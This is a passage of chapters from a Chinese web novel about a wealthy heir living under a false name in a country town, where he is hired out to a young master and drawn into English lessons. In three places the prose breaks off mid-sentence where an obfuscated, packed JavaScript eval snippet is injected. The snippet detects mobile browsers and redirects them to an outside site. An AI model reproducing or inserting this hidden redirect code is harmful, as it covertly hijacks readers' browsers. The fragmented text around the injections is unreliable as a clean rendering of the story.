长头发的谈文翡如此恐怖,严太太说了什么早不重要。郁蕙心的父母赶在后面,严太太要去搭话,轻轻打一记她的手背,笑道:“蕙心,今天文翡过生日,你也祝贺祝贺他!” 郁蕙心马马虎虎道:“生日快乐。” 谈文翡道:“谢谢。” 祝贺倒也不是必要的,旁人眼里他们早各自飞去,表面功夫都无需再做。 又有父母带美丽少女造访,够他们招呼好一阵子。郁蕙心匆匆告别谈文翡,绕过一众宾客,远远望见谈老爷与谈皎一齐站着,她已然跨进公馆了,便上楼去找谈凭玉。 谈凭玉必然在书房。 书房离楼梯最远,架在露天花园旁,谈凭玉趴在沙发上,身上西装做得有筋骨,他肩宽腰窄,腰肢处徒然塌陷一片;身下压着几本外文杂志,每一页都反着光。郁蕙心鞋跟动静不小,冒失进来,险些打翻一瓶鲜花,他才妖里妖气看她一眼。 她刚见过谈文翡,接连着见到谈凭玉,必然嫌他的眼睛太邪门,一时语塞,只道:“楼下生日宴,你一定又是等饭点才去。躲在这里,也没人来赶你?” 谈凭玉懒懒应了声。 “你哥哥呢?” “哪个?” “行一。” “赖床。” 郁蕙心又道:“文翡过生日,严太太怎么要给你买车?” 谈凭玉翻了个身,仰过头,一双眼睛倒在面孔最下,睫毛成了蝴蝶翅膀,浮在空中。耳朵上鸽血红坠子顺着套索反着掉,跌了半轮,卡在银丝绞成的工艺上,继而掂了掂,摇摇欲坠的;他嫌郁蕙心问得刁钻,心思满在汽车杂志,不知如何打发,支吾一会,两瓣唇上下起伏。 男孩子的嘴巴没有他这般红的,女孩子的又比他鲜亮不少,他本卡在中间一个健康的色泽,却被耳朵上吊的两粒衬得苍白起来。再支吾一会——最终道:“酸什么,买辆车而已。” 郁蕙心眼花缭乱一阵,早忘了上楼前心里念叨什么,忽然想起前阵子骇人听闻,道:“谁在你眼皮底下把车砸了,有这种人?” 谈凭玉道:“没有。” “那你开什么悬赏令,多吓人。” 这屋里原本还有一只吃不胖的杜宾犬,威风凛凛,谈皎养的,却与谈凭玉形影不离。后来杜宾犬实在太老,去了。谈皎有再养狗的打算,犬舍也去过几回,迟迟不见落实。 生日宴热闹归热闹,书房到底是冷清不少,谈凭玉从沙发上翻起来,耳朵上的坠子跟着他滚了一轮。他一套花架子功夫深,却是无意的,亏是藏在楼上,否则要被楼下的法师收了去。 “姨娘早给我买车了,最近才到。去码头的时候撞到个还算聊得来的男孩,走时急了些,没问他的名字。” 谈凭玉笑道,“车应该他蹭到的,行一非要叫人把他教训一顿。我心里过意不去,要是他肯来,还要好好向他赔罪……你知道枢城有什么餐厅?” 郁蕙心笑道:“我当然知道,奈何桥上的餐厅,主厨远近闻名,姓孟。” 谈凭玉道:“又拿我开玩笑。” 郁蕙心再看了他一眼,双手抱胸,道:“难得看你这么开心,别说我把你往坏了想。我看不是你想交朋友,应该是一见钟情了。” 正是整点,大钟敲了十二响。谈凭玉被家里保护得再严密,也没有吃剩饭的道理,木木踢了脚挡在路前面的靠枕,低头道:“他抱的小狗挺可爱,我要把它抢过来。” 郁蕙心道:“你真喜欢男人?” 谈凭玉不答,踩着她的影子出门,逮个佣人来打扫。 郁蕙心作客人,没他这般自如,顺手收了杂志,垒了一摞。回头见到谈凭玉还没走,倚在门框上,正等她一起去吃午餐。他一双眼睛停在阳光里,便是琥珀珠子般繁复透亮,看郁蕙心一眼,扑哧一笑,道:“你管我喜欢什么,谁不喜欢我?” 谈公馆里最受瞩目的孩子,顺着时间长河逐渐跑走了。俞平睁眼时,唯独床头的水果糖罐芳香四溢。 太阳早从小小一方窗户透进地面,阁楼从未这般刺眼过,俞平挣扎动了动,看见何氏坐在他的床边,笑道:“看你睡得这么熟,我都不想叫你了。不是我吵醒的吧?” 俞平吃了一惊,立刻坐起来:“已经这么晚,兰香要迟到了!” “兰香早走啦,她今天是一个人去的。你还困吗,要不要再睡一会?” “不用,我是该起床了。” 何氏慈爱摸摸他的脸,眼里却是忧愁不止:“你换好衣服就下来,有事要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14572701|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找你。” 夏装成本低,大街上人人花花绿绿,来订衣服的人更多。何氏趁手熟,为俞平裁了一套浅颜色长衫,叠好在床头。谈文翡的生日宴在他心里还没过去,何氏说得也严肃,俞平总觉得又有一众棘手宾客等着他;试新衣时他接连思索几种可能,而后都一一推翻了。掐了领口最后一刻盘扣,提着衣角下楼。 胖子瘦子恭候多时: “盼见我们俞平,真是赏心悦目。” “等来我们俞平,叫人心旷神怡。” ——不论阿吉如何拿祖宗起誓,多么言之凿凿,真要说俞平是出于思念情郎才来的麻公馆,麻霆君最巴不得是真的,但是也有诸多假意推辞的借口,一项一项罗列出来,使得阿吉也摇摆不定。 兴许俞平被狐狸老祖上身了。俞平怎么说得出喜欢麻霆君这番话?一切必然都是虚假的。 一旦成了俞平没有喜欢他,麻霆君又是痛不欲生,好像俞平在他心上凿出个大窟窿;二位恶人乘虚而入,煽风点火,酝酿个伤天害理的计策。 沦落到伤天害理,麻霆君竟亢奋至一夜未眠,火急火燎做了布店今日第一批客,把俞平在布店的用人契讨出来。 现钱两千大洋摞在店里,来不及收。 把“谈凭玉市值两千大洋整”的消息布散在枢城,谈公馆一夜之间必将沦为众人的笑料,连带江东公馆区都要贬值,不知道有多少户邻居着急搬迁。俞平看到明晃晃的现钱便头晕目眩,心里苦不堪言:早知道早早同他们撕破了脸,现在受什么无妄之灾! 詹老板把他拐到一旁,自知见不得光似的,悄声道:“理论上是四千大洋,我们要赔给麻家的钱他们不计较了,又多拿了两千。” 俞平早心如死灰了,还是争道:“三千九。” “对,三千九,说四千好听一点。” 詹老板道,“我和你签用人契,一共两年,他们出一千大洋租你一年,按理说你还是我家的伙计,这点不会变。以后你送完兰香上学就去麻公馆,吃过晚饭再回来。” 他再说下去俞平要哭出来了。俞平拽着他的袖子不松开:“老板,我是真心喜欢布店的,你不能不要我!” 麻霆君最早来布店,詹老板还以为是一桩好事,放俞平睡了懒觉,谁想到俞平如此抗拒。詹老板人再好也抵不过两千大洋,纠结道:“不是我们不要你,我也不想你去,五爷给得实在太多,我看他诚心实意,才肯松口的。你先去几天,要是不适应,一切好商量。” 俞平哭丧着脸,道:“老板,求你了,你要两千,两万,你要多少我都能给你,别答应他们。” 詹老板没把他的话放在心上,只拍拍他的肩膀,道:“有什么不好的?你在我们家,我们除了吃住,衣服都没给你做几件。你去他们家,他们还额外给你开一份薪水,待遇一定比这里好。” 又道:“我看得出来,五爷很尊重你,他不会叫你做些奇怪的事,何况你也不在麻公馆留宿。” 俞平道:“白天那么长,至于拖到晚上?” 詹老板道:“咦,他怎么好白日宣淫?” 再见到胖子瘦子,俞平已然成一具活尸。 胖子捧:“俞平,你真有福气。” 瘦子舞:“俞平,你天生好命。” 35.高明 “俞平俞平!欢迎欢迎!” 麻公馆门口列队整齐,必然是阿吉的馊主意,他混在中间,手捧一大簇彩色野花,喊得最响亮,见俞平到来,立刻向上抛去,各色花朵落在俞平头顶。 俞平平白无故受到一场霸凌,更是心如死灰。胖子亲昵地搭上了他的肩膀:“来我们公馆是天大的喜事,怎么还一副丢了魂的样子?” 俞平绝望道:“我也感到嘴巴苦,肩膀酸,心里痛。” “记得这么清楚,你果真把我们五爷放在心上!“胖子大呼小叫一番,拗着俞平向一排同事展览,道,“看看,才第一天来我们公馆,已经这么上道了。我说这小子一定前途无量。” 俞平推开他:“我没和你们说笑,我心里真的难受。” 胖子笑着贴上去,道:“我心里暖暖的。” 阿吉把欢迎的队列解散,跟着胖子瘦子身后,一同把俞平推进前厅的茶室,竹制推拉门够那群人手忙脚乱地忙活了——麻霆君站在茶几前。 麻霆君早上去布店,胡乱套件衣服便出门了,受到詹氏夫妇热烈欢迎,真觉得自己十拿九稳,又马不停蹄到衣帽间回炉重造。 身后一票恶人来时夸大他的失眠,俞平有先入为主的印象,此般看去,麻霆君果真憔悴不少,偏偏他长得好,黑眼圈仿佛格外深刻一些,圈出的眼睛倒是水汪汪地发亮。 俞平勉为其难给他笑一笑,半是为了适应不请自来的新生活,半是消遣,道:“五爷怎么不戴帽子了?” 麻霆君在茶室等待他许久,见不到他的时候,心跳得七上八下,一下跃道嗓眼,一下沉在肚里,此般正是敲鼓般在他胸膛里一阵捶打——原来他真把自己放在心上!麻霆君从里到外从头到尾便是美滋滋的,道:“我马上去戴!” 俞平赶紧道:“不必了,我随便讲的。” 麻霆君执意道:“今天是欢迎你的日子,你说什么就是什么。” 俞平坦言:“其实我觉得你戴那顶帽子很滑稽,有点难看……我是想要嘲笑你的。” 要是麻霆君揭的是四爷开的悬赏令,并非四爷的寻人启事,俞平必要好好踩着他,数落一番,叫他更加窘迫; 可惜红门上牌匾题着“麻公馆”,俞平不敢太放肆,趁他们都怀疑自己的耳朵,赶紧改口,大声道:“哇,我觉得很有腔调!” 恶人堆里诓骗不断: “有眼光。” “好品味。” 阿吉道:“我们阿平不愧是见过世面的,就是要比我们都时髦!” 眼见俞平被拐骗了来,麻霆君脸都要生生笑烂,一点瞌睡打不起来。这要是再从中横插一脚,简直罔顾他们五爷一路上的恩情,三人大功告成,谁都不想继续打搅,告辞道: “我去劈柴。” “我去扫地。” “我去洗狗。” 麻霆君捏着阿吉的后领,道:“阿吉和阿平从名字上看是一家,可以留下,其他人走吧。” 阿吉眼睁睁看着二位大哥欢快告辞,明白自己在劫难逃,保持着被麻霆君捉拿的姿势,面壁思过似的背对他们片刻——不看便知,身后二人又搭在一块。 麻霆君才说几句,俞平的笑声已经飘飘然勾上他们五爷的肩颈,直奔唇齿之间去了,吓得阿吉忙回过头。这两人却是间隔一个茶几讲话的,商议着日后工作,何来勾搭一说;阿吉却认定他们必然吻在了一起,一时莫衷一是,看也不是,不看也不是。 他满脸慌忙,那两人很难不在意他。他只好没话找话,道:“五爷,我去把黑兔抱进来,阿平肯定喜欢。” 麻霆君道:“黑兔应该在我房间里,等下我们一起去。” 阿吉无处可逃,也不想掺合他们,就此作罢,端水把茶宠都灌了一遍。 俞平笑道:“你们阿平来阿平去,阿平是什么?要是也想给我取花名,算阿俞有点门道。” 阿吉蹲在地上,道:“我们这边叫人都是名字,没有叫姓的,多少有点生分。” 茶宠已经灌完一轮,话茬也抛至半空,迟迟不见他们五爷来接,阿吉起一身鸡皮疙瘩,误以为说错了话,叫五爷不乐意,又道:“哎呀!还是俞平好听。俞平俞平,朗朗上口。” “是。还是俞平叫着习惯。”麻霆君想起什么,借机道,“俞平是个好名字,你上次和我提过,你姓什么?” 俞平笑了笑:“谈。” 麻霆君左眉抽搐下,笑容凝固在脸上。阿吉没有不救场的道理,丢下茶壶,速速挨在麻霆君身旁,摇晃他半晌不见反应,自己五官全皱在一起了,狠狠道:“俞平居然有心思讲笑话!五爷快笑啊,否则他以后都不逗你了!” 麻霆君立刻笑了两声,很是难听。岔开话题,又道:“不如一起在我家转转,省的以后迷路。” 俞平应了他,非落后一步,跟在阿吉身旁一起走。阿吉讲几个笑话解闷,那两个人都没笑,便是生生把他煎熬着。 一楼没什么有趣的地方,麻公馆按照结婚与否界定大人小孩,二楼一半公共区,一半归给大人,三楼才是麻霆君与几个姐姐妹妹的地盘。 卧室里黑兔嗅到他们气味,睡梦中来一个鲤鱼打挺,往他们一根根竖直长腿之间钻。 麻霆君庆功似的抱起它,献给俞平,俞平心不在焉抱了抱,眼睛早钉在矮柜上的电话。电话边上压着一本小册,他以为是电话簿,道:“五爷,我能看吗?” 麻霆君道:“我房间里没什么见不得人的,你想做什么就做什么,不用多问。” 黑兔才在俞平怀里摇得安稳,又被他放了走,拱在他脚边呜咽一阵。俞平想找郁蕙心留下的号码,两边兼顾不过来,勉强抽出一只手揉它脑袋。刚翻到扉页,看见自来水笔写出一行小字,“算术课本”为首,当即作罢。 “麻秋棠持有,生人切勿偷看,违者掉头发。”俞平道,“我不看了。” 阿吉的作用正是在此刻挥发出来的,他强硬把算术课本塞在俞平手里,道:“你是我们的好俞平,怎么会是生人?秋棠小姐上学认真,写下许多笔记,估计是不想同学不劳而获。可你以后不做科学家,窃她几页劳动果实,有什么要紧?” 又低声道:“我们几个都是五爷带的,掉头发也是五爷掉。” 俞平本是想捞郁蕙心的号码,眼见计划落了空,也不气馁,顺他们的意,捏了几页纸翻在中间。两面一个数字没有,密密麻麻写满小字。 麻霆君在远处不知道做什么偷鸡摸狗,阿吉也三心二意,站在俞平身旁,全去关心他了;俞平从小被谈文翡抱着读诗,埋下看一行念一行的祸根,往常还能憋在心里,此时居然读了出来。 “颜青与俞平欢天喜地地搂作一团,亲来抱去,转眼间颜青就把他凿进了……” 俞平两眼一黑,“席梦思。” 六小姐麻秋棠爱把人编进话本是人尽皆知的,平时任她编排几句也无伤大雅,不想在关键时刻掉链子——俞平好歹是真金白银二千大洋租来的!阿吉从小到大养在麻公馆,几十年都花不掉两千大洋,哪允许此般情景出现,不等麻霆君干涉,先手蛮不讲理地夺下了算术课本。 “我们六小姐还是个学生,比五爷还要清白,她的课本怎么是你可以翻看的?” 阿吉虚张声势,道,“亏你头发生得这么黑,跟着你也是遭殃!” 俞平不介意,笑了笑,道:“五爷平时看这个?” 好在他还笑得出来,不然真不知道如何收场;阿吉心里嘀咕一阵又一阵,思索接下去施个什么法,叫俞平和五爷也能亲来抱去; 正想着,麻霆君过来,顺手了接了阿吉递来的罪证,藏进一旁床头柜,又板着面孔,道:“我妹妹不好好念书,心思钻在这里,我是为她好,才没收!要不是你们今天翻了翻,真不知道写了什么。” 俞平顺势道:“说起来颜少爷近来可好?我有点记挂他了。” 枢城来的人物总是不一般,阿吉拢共见识过两个,一个是他,一个是颜青,一个赛一个邪门;他那天分明说喜欢麻霆君,阿吉还找兰香再对过口供,现在却是这般态度,哪像对麻霆君抱有一丝憧憬?阿吉只好愣着,等麻霆君一展雄风。 麻霆君嘴角垮着,心里不舒畅,却也不应答,往俞平手里重新塞个什么,闷闷岔了话题,道:“我以前在枢城学过英文,有些基础,这是我从前的笔记,你打算怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582306|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么教我?” 俞平故意道:“五爷和颜少爷情同手足,他好不好还不知道么,怎么不理我?” 麻霆君不语。 俞平笑眼盈盈,道:“这么小气?” 唯有阿吉诚惶诚恐地打断他们,倾尽毕生所学,大声唱了一首英文字母歌,尽管此举穿插其中莫名其妙,他还是硬着头皮唱完了,问道:“俞平,五爷学英文时,我也正规旁听过,你说我唱得怎么样?” 俞平自己高兴了,才有闲心潦草翻了麻霆君的笔记本,远没有看话本时认真。语气冷淡不少,道:“我倒是没有这样好为人师,会英文是一码事,教人是另一码,你真想学好,还是另请高明。我最多监督你。” 阿吉道:“五爷,监督好啊。有俞平陪读,知识自己排着队就进到你脑子里去啦。” 麻霆君不悦道:“不行。” 阿吉转而道:“俞平,你真不像话!是不是自己学了一身本领,严严实实藏着,见不得我们五爷想学好?” 俞平笑道:“唉呀,你太冤枉我!我是怕教坏五爷。” 阿吉早不择手段了,道:“我们五爷已经够坏了,你根本不用担心。” “洋文还是洋人来教,我是三脚猫功夫,糊弄你们还行。真要叫我教书,实在有点强人所难。” 俞平忽然想起现在什么身份,灵光一现,又捉弄他们道,“哦,我原是个做情人的,只会吃喝玩乐,要是做了先生,五爷想去哪条歧路?我条条精通。” 麻霆君是最不想听见这番话的——阿吉懂他,忙道:“陪读好,我说陪读最好了!可洋人先生难请,你叫我们五爷能够上哪找?” 俞平道:“枢城有公共号码专做中介,五爷不如把电话簿给我,我找一找。” 麻霆君在几个柜子中翻找一阵,递来一本硬皮本,除去几个常用电话,贴着五湖四海集来的名片。哪有什么公共电话?俞平从前学英文,家里请外教,现在想要打听他下落,还不是要麻烦郁蕙心。 俞平从后往前翻,认出郁蕙心字迹,避免露陷,当即想要把他们都轰出去,却没个正当理由; 看麻霆君依然对方才那码事耿耿于怀着,他是吃准了麻霆君的,计上心来,开口道:“五爷,我给布店的卖身契在你手里吗?” “在我家放着。”麻霆君心中推敲片刻,以为他要讨一份自由,便道,“我是愿意相信你的,你要是不喜欢这个形式,我替你撕了。” 俞平笑道:“我从前是在大户人家做的,多少懂点规矩。既然我的契约在五爷这里,我便是五爷的人了。” 麻霆君愣一愣,俞平借机往他身前靠,不知道哪里学的本事,几步路走得甚是婀娜;往常还有各色耳坠子叮当撞一撞,此时只剩鬓发往他耳垂后飘,险些露出两点黄金耳堵,风姿倒是半分不含糊,道:“什么是出格,什么越轨,我心里有数。五爷也不用担心我,好吗?” 麻霆君呆呆道:“好。” 俞平又道:“颜少爷好吗?” “好。” “麻少爷好吗?” “好。” 俞平满意道:“我要打电话了,请二位出去,好吗?” 麻霆君身材健硕得跟堵墙似的,脚步也是一道生了根。果真是夏天到了,俞平看他晒黑不少,牵起他两只手腕,又觉得他是烫红的。黑与红在他脸上都是一种色彩,俞平美术造诣不太高深,拿他眼眸做参照,只见自己斑斓的影在他漆黑瞳仁中不断晃着,便把他两只手腕用一只手握了,笑道:“我教你英文也可以,第一课便是要学会说,‘好’。” 麻霆君哪有反抗他的本领,只道:“好。” 卧室门号称用进口门把手,反锁时沉甸甸的,喀哧一声。 门外好不热闹,阿吉原本还想趴在门口窃听,失了心思,笑得热腾腾,往麻霆君身上撞:“五爷!” 麻霆君抿着嘴,阿吉又撞他:“五爷听见了?他说他是你的人!他真说过他喜欢你,不是我编出来的。” 麻霆君脸红一阵,推辞一阵,低头道:“唉,八字没一撇!” “怎么会?已经是八八六十四的事情了,小弟先恭喜五爷,贺喜五爷。” 36.小试 麻霆君到底是人好,俞平要过双休日,他允许,俞平又在周中安排一天小休,他也允许。一星期拢共去麻家四回,看得兰香好不羡慕,恨不得算盘珠子的分量有他工作一半轻松。 每月逢上早市的日子,不用送兰香上学,俞平起得却更早。凌晨群星尚未落幕,便要出发去邻镇广场。早市又是另一种新奇风景,几个镇子各色方言汇集在一起,好在都是吴侬软语,俞平听得懂,还知道还价。 布店罗列购物清单,他一项项买过来,干货、文具、皮鞋,竹篮里挎得满满当当,正是要返回,又在一户卖狗的面前停了脚步。 竹篮里小狗挤在一起,攀着边缘往外钻,俞平哪一只都想抱一抱,无奈囊中羞涩,只好依依不舍告了别。然而摊主看他眼神别有深意,俞平还当遇了贼,赶忙把竹篮往身前护了护。 身后传来一声笑,回头才看见是郁蕙心。 郁蕙心又是心疼又是好笑,轻声道:“我的少爷,西伯利亚来的雪橇犬入不了眼,在这里看什么土狗?” 俞平拉着她,往偏僻处走,道:“我的姐姐,不在枢城吃茶,来我们乡下凑什么热闹?” “你忘了?说好今天叫霆君学英文。” 那通电话打到郁蕙心公寓里,郁蕙心明白他的意思,次日两眼一睁就是讲电话,傍晚时才打点好上下。原本担忧谈文翡私下监视她行程,又听说颜青要来——不正经又是有不正经的好了,有颜青保驾护航,谈文翡哪会查她?她一个佣人没带,亲自开车,跟颜青一块来了鹭镇。 郁蕙心不同一般小姐,旁人眼里有失身份的活计都干,前阵子强行霸占了她弟弟的车款。汽车停在乡间,俞平原本要坐驾驶位,硬是被她赶了下来,发配去边上。 “凭玉,你怎么还活着!” 车上早有人埋伏,俞平吓了一跳,忘记有后视镜,很不文雅地跪在座位上回头看。后座洋人褐发碧眼,朝他笑了笑。 俞平惊喜道:“Wilson!” Wilson道:“上帝保佑,你记得我!” 谈公馆正规设过英文课,由别的先生教,人手短缺之时,Wilson是来代过几节,究其根底,他最初来教的是击剑。 郁蕙心道:“你家请的先生太多,光是我印象里就有五个洋人,我想了想,他最合适。” 俞平道:“你们怎么联系上的?” Wilson笑道:“麻将。麻将也是一种缘分。” “我先找的是Alice,她跟丈夫去香岛做生意了。留在枢城的几个,都打着在你家教过的名义涨价,只有他每天找我打麻将,不敢敲竹杠。这总归是自己人了,透露一点内情也无妨。”郁蕙心边打方向盘边说,“你提这么多东西,都要送到麻公馆吗?” 俞平才反应过来:“姐姐,先送我回布店,这些东西味道大,总不好放你车上。” 郁蕙心奇怪看他一眼,道:“你以后回枢城,会不会不适应?” 拐了两圈到鹭镇。郁蕙心车停在麻公馆旁边,不解车锁,道:“后面什么安排,现在车上讲好。” 前排的两人把座位往后撑,开一个小小圆桌会议。郁蕙心手指俞平,道:“我们的四少爷,现在躲在鹭镇,暂时不能回家。名字改成俞平。” 再手指Wilson,道:“我刚才说的,Will和别人一个字不准提起。你们两个还是第一次见面,之前从来都不认识。都记好,不要露馅了。” 怕遭人怀疑,车停不久,三人接连下了车。一到麻公馆,俞平手里的竹篮立刻被胖子接下了,笑脸相迎地托给别人送去布店。 颜青是带佣人来的,身后跟着一长串,反客为主地来打招呼:“Will,好久没见到你!” “是你好久没见到我们。” Wilson中文一如既往,讲是会讲,语调真蹩脚,七上八下着,道,“只有陪你的男孩不高兴,你才来我们这里解闷。” 他说话时中英参杂,颜青怕俞平听得懂,慌兮兮瞄了他好几眼;俞平早对他不抱希望,他若是真和谈文翡有半分瓜葛,才勉为其难关心片刻,其余都不想在乎,便垂着脑袋在郁蕙心身后。 颜青只知道俞平懂外语,捏不准什么水平,态度随便地与Wilson勾肩搭背一阵,立刻来哄他:“小俞平,洋人不懂我们的浪漫,他是乱说的,我心里只有你。” 俞平道:“不必了,少爷不用为我费心思。” 颜青不管,道:“小狐狸,说谎说道眼睛里,才是真本领。” “开了眼了,你平时有这么肉麻,不要说谈文翡,上你当的究竟是些什么人?”郁蕙心一把推了他,挤进他和俞平之间,干涉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596874|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“麻霆君呢?” 颜青笑道:“霆君在布置课室了,我们一道去吗?” 麻公馆只有茶室常年空余,想必大家都没这番雅兴。矮茶几换了课桌椅,知道俞平最喜欢黑兔,麻霆君把它一起带了来。黑兔坐在地上伸舌头哈气,俞平主动揽责,蹲下为它敞开怀抱。 Wilson望着俞平的背影,也眉开眼笑,抬头看见麻霆君来,几人寒暄一阵,装作互不认识地互相介绍一阵,热闹一阵。Wilson又道:“霆君,我们就从牧羊犬开始吧,它叫什么名字?” 麻霆君道:“黑兔。” Wilson道:“兔子的英文是什么,你知道吗?” 麻霆君真答得上来。俞平简直要大跌眼镜,蹲都蹲不稳。他前几天在麻公馆的书房中找到几本英文童话,面向幼儿,带麻霆君一起读。麻霆君大字不识一个,形近的小写字母都分不清楚;俞平陪他读一遍又一遍,真不知道他有这套功夫,顷刻间不想理他。 阿吉手上抱着茶具,插话道:“rabbit,瑞贝特。瑞贝特是什么意思?” 胖子瘦子一边一个冒出来: “瑞,是祥瑞。” “贝,是钱币。” 阿吉职业素养好,又道:“特,是特别。” Wilson总结道:“特别的祥瑞钱币,原来是这样的寓意。” 郁蕙心也蹲下来,挨在俞平身边:“他们还正常吗?” 俞平咬着下唇,颤抖似的摇着头。 上面的胖子道:“洋朋友,你也看出来了,我家五爷能给牧羊犬取这种深刻的名字,必然是文武双全,中西贯通,你一定要好好教他。” Wilson哈哈大笑,道:“放心,放心!” 他们来时为了做戏做全套,特地编了一套摸底试卷。可惜这样的良师遇不见好学生,不论麻霆君亦或颜青,谁都不是正经想要求学的。无奈郁蕙心抢来教鞭,啪啪抽着桌面:郁家离谈家多近,离颜家多远,托她大哥的福,颜家捞到不少好处,颜青不敢反抗她;俞平也在看热闹,麻霆君不想失了面子,乖乖听了话。 二位少爷就算写不出来,都一副绞尽脑汁认真思考的模样。Wilson叫来巡查的俞平,道: “我想请俞平出来一下,我需要和他讨论一下教学内容。” 37.摸底 谈老爷有过四场婚姻,除了二姨太是他自己从电影画报上挑来的,其余都是商业联姻。 谈老爷其实不止有五个孩子。四房姨太太里,除了严太太只答应养一个文翡,另几房抱着多子多福的心思,都想多生育。无奈谈老爷得志太晚,力不从心,三位姨太太或多或少流产过,三姨太更是一个孩子都没有。 出生的只有五个,谈凭玉赶上最后一批。 二姨太当半辈子电影演员,只知道戏里编的罗曼蒂克,不明白“商人重利轻别离”,仗着老爷对自己独有一份偏心,每每向严太太挑衅,却都以失败告终。 见是个男婴,她终于扬眉吐气,势必要把家业传在自己儿子的手上。 暗涌下的攻势是从传家宝开始的——谈家宝物不计其数,最出名的唯独翡翠扳指。相传翡翠扳指原是王室代代相传的宝物,但凡戴过它的人都做了皇帝,传至某一代太子时不幸亡国,太子要东山再起,又是一阵腥风血雨;几经波折,转至一位将军手中。将军便是谈家的先祖。 老爷最初从没想过能有四个孩子,只预备传给长子,谈皎却是大小姐。半是迈不过心里一关,半是为了向严家表态,勉强给了谈文翡; 定完扳指去留,老爷心中生出诸多悔恨,但也不肯补偿谈皎,单是空闲时哀叹不已。一见凭玉是个少爷,顿时什么都想给他。 谈凭玉还不叫谈凭玉的时候就戴上扳指了。翡翠扳指对初生的婴儿而言过于沉重,二姨太干脆编了根红绳系在他的脖子上。 佣人里有许多阿谀奉承的,围上来,硬说谈凭玉投胎来分走了老爷的一半魂魄,才叫老爷。严太太偶尔刻薄几句,无非是母凭子贵凭玉贵,日子多了,二姨太权当了褒奖,孩子真的取名凭玉。 谈文翡倒是不太关心扳指的去留,相较母亲,他要冷漠太多,只是逗襁褓中的弟弟开心。时间把他塑造得能够独当一面,于谈凭玉却是精雕细琢了他的眼睛。富有、美丽,稍来点微微的愚钝,也许是上天给予女孩的厚礼,男孩却未必不是负担。 真正要斟酌下任家主的时候,他那双狐狸眼叫老爷踌躇很长时间。 谈凭玉哪一项都不如哥哥姐姐。 枢城的雨阴冷潮湿,花园粘腻成遮天盖地的绿色,十足闷得死人。六岁的谈凭玉嫌草叶难闻,把香水一瓶瓶倒进喷泉。直到老爷过来,踢倒了他身边一堆瓶瓶罐罐: “好玩吗?” 谈凭玉答不上来。父亲遂拂袖而去。 花园里一众佣人懂得老爷的怒火,不敢上前,许久才把四少爷抱回公馆。英文课在即,外教要用花园的场地,但是翻倒的香水瓶还未收拾,哪个橱窗里的香气都有,顺延水汽漫上谈凭玉的小腿肚,脊椎骨,滋出萃取前的花朵。 只有Wilson问过他:“为什么要这么做?” 谈凭玉道:“我讨厌雨。” 跳舞作为低级趣味,在谈家明令禁止,尤其是他们宝贵的四少爷。 谈凭玉长大一点排击剑课,击剑与跳舞说是相似也可以,都是屈着膝盖朝前朝后;说是不相似也不打紧,击剑是恨,跳舞却很是暧昧。 Wilson偶尔带他跨禁区,跳得舞种新奇,Wilson说得准,谈凭玉听不懂,只知道裤管并拢一起再摩擦,踢踢踏,像是脚镣挣脱不去,却硬要转出个圆圈。花园里头艳丽的花开不香,馥郁的花不美丽,经老爷多年责骂,谈凭玉勉强折中。 后来Wilson领到父亲遗产,不想回家,留在枢城,凑巧和郁蕙心住在一片公寓,枢城各类八卦云集,他一个洋人也多少能够一知半解些,说是布置课业,总归是和俞平聊了些有的没的。 谈公馆里绯闻真少,讲来讲去,只说近年严家失势,严太太与谈文翡一脉不如先前辉煌。日子倒是熬得长,路上诸多敌人都停歇了脚步,勉强算笑到最后。谈老爷岁数大,身体不如从前强壮,谈公馆迟早轮给下一任家主。 俞平思索片刻,道:“谈皎呢?你听说过我姐姐怎么样吗?” “我真是听别人讲的,不能够保证。” Wilson顿了顿,才道,“他们说你家最后一定归给她,不是你父亲和文翡的意思,事实却是这样的。” 俞平再不说话——母亲走得太早,父亲的寄望太重,虚无缥缈落在他的肩头,成一个提线木偶都困难。假死是一步棋,属于他和谈皎的密谋,不想弄巧成拙,险些丧了命。 走廊尽头便是花园,他靠墙站,地上竖直一支影子。谈皎永远傍着他。 “我突然想起来了。”Wilson轻松笑了笑,缓解气氛,道,“我以前和你讲过,西方从前有斗兽场,看双方厮杀,获胜的奴隶主人能够赢得主人的嘉奖。” 俞平点头只点一半,疑惑看向他。 Wilson朝房间里努努嘴,道:“你奖励谁?” “最听话的狗。” Wilson吹了声口哨。 过一会,郁蕙心拎两张试卷,指节叩门的戾气实在太重,Wilson便把俞平与试卷一同推搡进茶室,和她愉快偷懒起来。 颜青和麻霆君的位置在中间,俞平当仁不让避到角落。试卷还没摊开,颜青先拱了过来,道:“蕙心说你要担任助教,我能够叫你小先生吗?” 